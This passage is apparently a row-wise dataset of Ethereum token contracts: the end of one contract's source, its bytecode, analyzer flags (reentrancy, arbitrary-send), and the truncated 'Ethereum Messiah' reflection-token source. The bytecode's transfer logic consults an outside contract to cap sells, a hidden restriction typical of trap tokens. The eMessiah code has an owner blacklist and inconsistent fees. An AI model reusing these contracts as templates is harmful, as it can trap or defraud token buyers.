IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600a81526020017f5368616e6b7320496e7500000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067058d15e176280000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5348414e4b530000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667058d15e176280000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b60008060006007549050600067058d15e176280000905061194f67058d15e17628000060075461170690919063ffffffff16565b82101561196d5760075467058d15e176280000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039a2f9bf59fd5402685289c09787a449503aa904d465e0a857e5d38f3f9dd06d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,387
0x8F310Ef5CCeC31355969BD68a5958F1d9A32A1f9
// Ethereum Messiah ($eMessiah) // Twitter: https://twitter.com/EthereumMessiah // Telegram: https://t.me/emessiahtoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract eMessiahToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ethereum Messiah"; string private constant _symbol = "eMessiah"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; uint256 private _lastSellTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 5 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(block.timestamp >= _lastSellTime + 2 minutes, "ERR: Try 2 minutes later"); _lastSellTime = block.timestamp; swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), 